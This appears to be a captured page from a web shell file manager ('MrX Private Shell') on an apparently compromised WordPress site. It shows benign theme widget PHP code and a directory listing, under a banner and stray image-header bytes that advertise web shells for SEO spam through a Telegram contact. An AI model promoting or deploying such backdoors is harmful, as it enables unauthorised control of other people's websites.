����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
// Add Category Posts Columns Widget
class Pmthemes_Category_Posts_Columns_Widget extends WP_Widget {
function __construct() {
// Setup Widget
parent::__construct(
'pmthemes_category_posts_columns', // ID
sprintf( esc_html__( 'PM Home Double Columns', 'pmthemes' )), // Name
array(
'classname' => 'pmthemes_category_posts_columns',
'description' => esc_html__( 'For magazine front page. Display posts in 2 columns (1 category per column).', 'pmthemes' )
) // Args
);
// Delete Widget Cache on certain actions
add_action( 'save_post', array( $this, 'delete_widget_cache' ) );
add_action( 'deleted_post', array( $this, 'delete_widget_cache' ) );
add_action( 'switch_theme', array( $this, 'delete_widget_cache' ) );
}
public function delete_widget_cache() {
wp_cache_delete('widget_pmthemes_category_posts_columns', 'widget');
}
private function default_settings() {
$defaults = array(
'title' => '',
'category_one' => 0,
'category_two' => 0,
'number' => 3,
'highlight_post' => true,
'category_titles' => false
);
return $defaults;
}
// Display Widget
function widget($args, $instance) {
$cache = array();
// Get Widget Object Cache
if ( ! $this->is_preview() ) {
$cache = wp_cache_get( 'widget_pmthemes_category_posts_columns', 'widget' );
}
if ( ! is_array( $cache ) ) {
$cache = array();
}
// Display Widget from Cache if exists
if ( isset( $cache[ $this->id ] ) ) {
echo $cache[ $this->id ];
return;
}
// Start Output Buffering
ob_start();
// Get Sidebar Arguments
extract($args);
// Get Widget Settings
$defaults = $this->default_settings();
extract( wp_parse_args( $instance, $defaults ) );
// Add Widget Title Filter
$widget_title = apply_filters('widget_title', $title, $instance, $this->id_base);
// Output
echo $before_widget;
?>
<div id="widget-category-posts-columns" class="widget-category-posts clearfix">
<?php // Display Title
if( !empty( $widget_title ) ) { echo $before_title . $widget_title . $after_title; }; ?>
<div class="widget-category-posts-content">
<?php echo $this->render($args, $instance); ?>
</div>
</div>
<?php
echo $after_widget;
// Set Cache
if ( ! $this->is_preview() ) {
$cache[ $this->id ] = ob_get_flush();
wp_cache_set( 'widget_pmthemes_category_posts_columns', $cache, 'widget' );
} else {
ob_end_flush();
}
}
// Render Widget Content
function render($args, $instance) {
// Get Widget Settings
$defaults = $this->default_settings();
extract( wp_parse_args( $instance, $defaults ) );
// Limit the number of words for the excerpt
add_filter('excerpt_length', 'pmthemes_frontpage_category_excerpt_length'); ?>
<div class="category-posts-column-left category-posts-columns clearfix">
<?php //Display Category Title
$this->display_category_title($args, $instance, $category_one); ?>
<?php $this->display_category_posts($instance, $category_one); ?>
</div>
<div class="category-posts-column-right category-posts-columns clearfix">
<?php //Display Category Title
$this->display_category_title($args, $instance, $category_two); ?>
<?php $this->display_category_posts($instance, $category_two); ?>
</div>
<?php
// Remove excerpt filter
remove_filter('excerpt_length', 'pmthemes_frontpage_category_excerpt_length');
}
// Display Category Posts
function display_category_posts($instance, $category_id) {
// Get Widget Settings
$defaults = $this->default_settings();
extract( wp_parse_args( $instance, $defaults ) );
// Get latest posts from database
$query_arguments = array(
'posts_per_page' => (int)$number,
'ignore_sticky_posts' => true,
'cat' => (int)$category_id
);
$posts_query = new WP_Query($query_arguments);
$i = 0;
// Check if there are posts
if( $posts_query->have_posts() ) :
// Display Posts
while( $posts_query->have_posts() ) :
$posts_query->the_post();
if( $highlight_post == true and (isset($i) and $i == 0) ) : ?>
<article id="post-<?php the_ID(); ?>" <?php post_class('first-post big-post'); ?>>
<a href="<?php the_permalink() ?>" rel="bookmark"><?php the_post_thumbnail('category_posts_wide_thumb', array('class' => 'grow')); ?></a>
<h2 class="post-title"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h2>
<div class="postmeta"><?php $this->display_postmeta($instance); ?></div>
<div class="entry">
<?php the_excerpt(); ?>
</div>
</article>
<?php else: ?>
<article id="post-<?php the_ID(); ?>" <?php post_class('small-post clearfix'); ?>>
<?php if ( '' != get_the_post_thumbnail() ) : ?>
<a href="<?php the_permalink() ?>" rel="bookmark"><?php the_post_thumbnail('category_posts_small_thumb', array('class' => 'grow')); ?></a>
<?php endif; ?>
<div class="small-post-content">
<h2 class="post-title"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h2>
<div class="postmeta"><?php $this->display_postmeta($instance); ?></div>
</div>
<div class="entry">
<?php the_excerpt(); ?>
</div>
</article>
<?php
endif; $i++;
endwhile; ?>
<?php
endif;
// Reset Postdata
wp_reset_postdata();
}
// Display Postmeta
function display_postmeta($instance) { ?>
<?php
$theme_options = pmthemes_theme_options();
if ( isset($theme_options['show_post_dates']) and $theme_options['show_post_dates'] == true ) : ?>
<span class="meta-date">
<?php printf(__('<a href="%1$s" title="%2$s" rel="bookmark"><time datetime="%3$s">%4$s</time></a>', 'pmthemes'),
esc_url( get_permalink() ),
esc_attr( get_the_time() ),
esc_attr( get_the_date( 'c' ) ),
esc_html( get_the_date() )
);
?>
</span>
<span class="meta-author">
<?php printf(__('<a href="%1$s" title="%2$s" rel="author">%3$s</a>', 'pmthemes'),
esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
esc_attr( sprintf( esc_html__( 'View all posts by %s', 'pmthemes' ), get_the_author() ) ),
esc_html( get_the_author() )
);
?>
</span>
<?php endif;
}
// Link Widget Title to Category
function display_category_title($args, $instance, $category_id) {
// Get Sidebar Arguments
extract($args);
// Get Widget Settings
$defaults = $this->default_settings();
extract( wp_parse_args( $instance, $defaults ) );
// Display Category title if activated
if( $category_titles == true ) :
echo $before_title;
// Check if "All Categories" is selected
if( $category_id == 0 ) :
$link_title = __('View all posts', 'pmthemes');
$link_name = __('Latest Posts', 'pmthemes');
// Set Link URL to always point to latest posts page
if ( get_option( 'show_on_front' ) == 'page' ) :
$link_url = esc_url( get_permalink( get_option('page_for_posts' ) ) );
else :
$link_url = esc_url( home_url('/') );
endif;
else :
// Set Link URL and Title for Category
$link_name = get_cat_name( $category_id );
$link_title = sprintf( __('View all posts from category %s', 'pmthemes'), $link_name );
$link_url = esc_url( get_category_link( $category_id ) );
endif;
// Display linked Widget Title
echo '<a href="'. $link_url .'" title="'. $link_title . '">'. $link_name . '</a>';
echo '<a class="category-archive-link" href="'. $link_url .'" title="'. $link_title . '"><span class="genericon-next"></span></a>';
echo $after_title;
endif;
}
function update($new_instance, $old_instance) {
$instance = $old_instance;
$instance['title'] = sanitize_text_field($new_instance['title']);
$instance['category_one'] = (int)$new_instance['category_one'];
$instance['category_two'] = (int)$new_instance['category_two'];
$instance['number'] = (int)$new_instance['number'];
$instance['highlight_post'] = !empty($new_instance['highlight_post']);
$instance['category_titles'] = !empty($new_instance['category_titles']);
$this->delete_widget_cache();
return $instance;
}
function form( $instance ) {
// Get Widget Settings
$defaults = $this->default_settings();
extract( wp_parse_args( $instance, $defaults ) );
?>
<p>
<label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:', 'pmthemes'); ?>
<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" />
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id('category_one'); ?>"><?php _e('Left Category:', 'pmthemes'); ?></label><br/>
<?php // Display Category One Select
$args = array(
'show_option_all' => __('All Categories', 'pmthemes'),
'show_count' => true,
'hide_empty' => false,
'selected' => $category_one,
'name' => $this->get_field_name('category_one'),
'id' => $this->get_field_id('category_one')
);
wp_dropdown_categories( $args );
?>
</p>
<p>
<label for="<?php echo $this->get_field_id('category_two'); ?>"><?php _e('Right Category:', 'pmthemes'); ?></label><br/>
<?php // Display Category One Select
$args = array(
'show_option_all' => __('All Categories', 'pmthemes'),
'show_count' => true,
'hide_empty' => false,
'selected' => $category_two,
'name' => $this->get_field_name('category_two'),
'id' => $this->get_field_id('category_two')
);
wp_dropdown_categories( $args );
?>
</p>
<p>
<label for="<?php echo $this->get_field_id('number'); ?>"><?php _e('Number of posts:', 'pmthemes'); ?>
<input id="<?php echo $this->get_field_id('number'); ?>" name="<?php echo $this->get_field_name('number'); ?>" type="text" value="<?php echo (int)$number; ?>" size="3" />
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id('highlight_post'); ?>">
<input class="checkbox" type="checkbox" <?php checked( $highlight_post ) ; ?> id="<?php echo $this->get_field_id('highlight_post'); ?>" name="<?php echo $this->get_field_name('highlight_post'); ?>" />
<?php _e('Highlight First Post (Big Image + Excerpt)', 'pmthemes'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id('category_titles'); ?>">
<input class="checkbox" type="checkbox" <?php checked( $category_titles ) ; ?> id="<?php echo $this->get_field_id('category_titles'); ?>" name="<?php echo $this->get_field_name('category_titles'); ?>" />
<?php _e('Display Category Titles', 'pmthemes'); ?>
</label>
</p>
<?php
}
}
register_widget('Pmthemes_Category_Posts_Columns_Widget');
?>| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| popular-posts.php | File | 6.23 KB | 0644 |
|
| posts-boxed.php | File | 8.84 KB | 0644 |
|
| posts-columns.php | File | 11.12 KB | 0644 |
|
| posts-grid.php | File | 10.14 KB | 0644 |
|
| posts-single.php | File | 7.77 KB | 0644 |
|
| recent-comments.php | File | 7.1 KB | 0644 |
|
| recent-posts.php | File | 11.68 KB | 0644 |
|
| social-icons.php | File | 2.2 KB | 0644 |
|
| tabbed-content.php | File | 18.76 KB | 0644 |
|